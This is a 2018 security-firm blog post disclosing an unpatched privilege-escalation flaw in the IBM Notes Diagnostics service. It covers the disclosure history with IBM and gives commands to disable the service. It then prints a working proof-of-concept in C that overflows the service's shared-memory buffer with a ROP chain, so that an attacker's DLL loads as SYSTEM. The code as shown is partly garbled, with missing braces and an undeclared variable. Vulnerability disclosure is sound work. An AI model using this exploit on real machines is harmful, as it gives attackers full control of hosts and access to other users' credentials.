Perspektiver og nyheder om

cyberforsvar der virker

2018-05-30 10:20 - Updated 2018-06-07 13:05 | Lasse Trolle Borup

Yet another IBM Notes bug

At Langkjaer Cyber Defence we explore the technical aspects of enterprise security controls. Any observations, vulnerabilities, and guides resulting from this will be published here on our blog.

Note: We mostly blog in Danish, but this post is written in English to reach a wider technical audience.

Edit: This post was first published on 30 May 2018, but at the request of the IBM PSIRT, it was temporarily suspended by a week, to enable them to complete and distribute a fix. At the time of writing this edit, no fix has been issued and no request has been made by IBM to extend the deadline. Therefore, we are now posting our initial blog post.

Though IBM Notes (formerly Lotus Notes) is a product fading from use, the IBM Notes client is still a common sight in Danish organisations, most likely to support older database or intranet solutions still present in the network. While the original code base is old in the timescale of the Internet, IBM still has plans for the product and an obligation to their paying customers to maintain the code and fix vulnerabilities as they are discovered.

In 2017, I reported a range of bugs in the IBM Notes client. Most of the bugs allowed privilege escalation and one of them allowed client-side code execution. While some of these bugs were fixed in due time (slightly before 90 days from reporting), some had to be published after 90 days, before a fix was available. This was done to force IBM to do right by their customers and supply the fixes, which they did the day after publication. All of the bugs required very simple fixes, like replacing a call to strcpy with a call to strncpy. These fixes had no imaginable side effects and very little testing would be necessary. This points towards the cause for the long delay in fixing to be more a matter of organisational procedures, and looks like an indicator of a missing sense of urgency with these kind of security bugs.

After the bugs were fixed, I was curious to see if the number of reported bugs would make them go through their code and make sure that similar bugs were found and fixed. They obviously didn’t, and so I grabbed the first new bug I could find and submitted it to the IBM PSIRT. And here we are, more than 90 days later, and IBM still has not fixed the bug.

The new bug allows privilege escalation and is very similar to some of the others I have reported. This kind of privilege escalation has serious consequences on a client PC, as it allows an attacker who has gained a foothold in user context to gain full control of the machine. This is often the next step in an attack, as it allows deeper persistence and more opportunity to move laterally in the network. If the vulnerable application is run in a shared server environment, via Remote Desktop or XenApp for example, the consequences are much worse, as an attacker is given full privileges on a host with many active user sessions. This enables the harvesting of credentials from other users, likely including any administrators of the server.


This bug is found in the IBM Notes Diagnostics service which is started by default. It is recommended to stop and disable this service, for example by executing the following commands:

sc stop "IBM Notes Diagnostics"
sc config "IBM Notes Diagnostics" start= disabled


IBM's approach to fixing security bugs tends to be unnecessarily lengthy. IBM has not released a patch for the this bug yet. Let's hope they do so soon.

Exploitation steps (tested on version 9.0.1FP10 SHF41):

1. Compile the following code (change the hardcoded stuff, like "limiteduser" etc.):

CHAR sharedMem[] = "Global\\IRIS$NSDSVC$128";
CHAR sharedMemEx[] = "Global\\IRIS$NSDSVCEXT2$128";
CHAR svcName[] = "IBM Notes Diagnostics";

int main()

	UINT32 imgBase = (UINT32)LoadLibraryA("C:\\Program Files (x86)\\IBM\\Notes\\dbghelp_x86_v6.8.40.dll");

	UINT32 gadget1 = imgBase + 0xc2f0d;  //pop eax ; retn
	UINT32 junkstr = imgBase + 0x16e28;  //string to get past last strcat
	UINT32 gadget2 = imgBase + 0xc2f0d;  //pop eax ; retn
	UINT32 loadlib = imgBase + 0x10a0;   //loadlibrary import
	UINT32 gadget3 = imgBase + 0xdeea8;  //mov eax, dword ptr [eax] ; ret
	UINT32 gadget4 = imgBase + 0x1fbc5;  //push esp ; call eax

	HANDLE hMapFile;
	char* pBuf;
	char* pBufData;

	hMapFile = OpenFileMappingA(0x0F001F, FALSE, sharedMem);
	pBuf = (char*)MapViewOfFile(hMapFile, 0x0F001F, 0, 0, 0);

	pBufData = pBuf + 0x10B00;

	UINT32 count, tmp, argNext;
	count = 0;
	while (count <= 0x80) {
		tmp = count * 0x216;
		if (*(pBuf + tmp + 0x20E) == 1) {
			pBuf = tmp + pBuf;
			argNext = count + 0x80;
	DWORD* ptr = (DWORD*)pBuf;
	ptr[0] = 1;
	ptr = (DWORD*)(pBuf + 0x20E);
	ptr[0] = 0;
	char* iniPtr = "c:\\users\\user\\appdata\\local\\ibm\\notes\\data\\notes.ini";
	int offset = strlen(iniPtr) + 167;
	strcpy(pBuf + 4, iniPtr);


	hMapFile = OpenFileMappingA(0x0F001F, FALSE, sharedMemEx);

	pBuf = (char*)MapViewOfFile(hMapFile, 0x0F001F, 0, 0, 0);

	tmp = (argNext - 0x80) * 0x401;
	pBuf = tmp + pBuf;
	strcpy(pBuf, "-cmdfile ");
	for (int i = 0; i < offset; i++) {
		pBuf[9 + i] = 'a';

	memcpy(&(pBuf[9 + offset]), &gadget1, sizeof(gadget1));
	memcpy(&(pBuf[9 + offset +4]), &junkstr, sizeof(junkstr));
	memcpy(&(pBuf[9 + offset +8]), &gadget2, sizeof(gadget2));
	memcpy(&(pBuf[9 + offset +12]), &loadlib, sizeof(loadlib));
	memcpy(&(pBuf[9 + offset +16]), &gadget3, sizeof(gadget3));
	memcpy(&(pBuf[9 + offset +20]), &gadget4, sizeof(gadget4));
	strcpy(&(pBuf[9 + offset +24]), "c:\\a\\aaa.dll");


	SC_HANDLE schSCManager;
	schSCManager = OpenSCManager(NULL, NULL, 0x20000);

	SC_HANDLE schService;
	schService = OpenServiceA(schSCManager, svcName, 0x100);

	ControlService(schService, argNext, (LPSERVICE_STATUS)&ssp);

	return 0;

2. Place a malicious DLL as c:\\a\\aaa.dll.

3. Execute the compiled executable. The DLL is loaded in the SYSTEM process.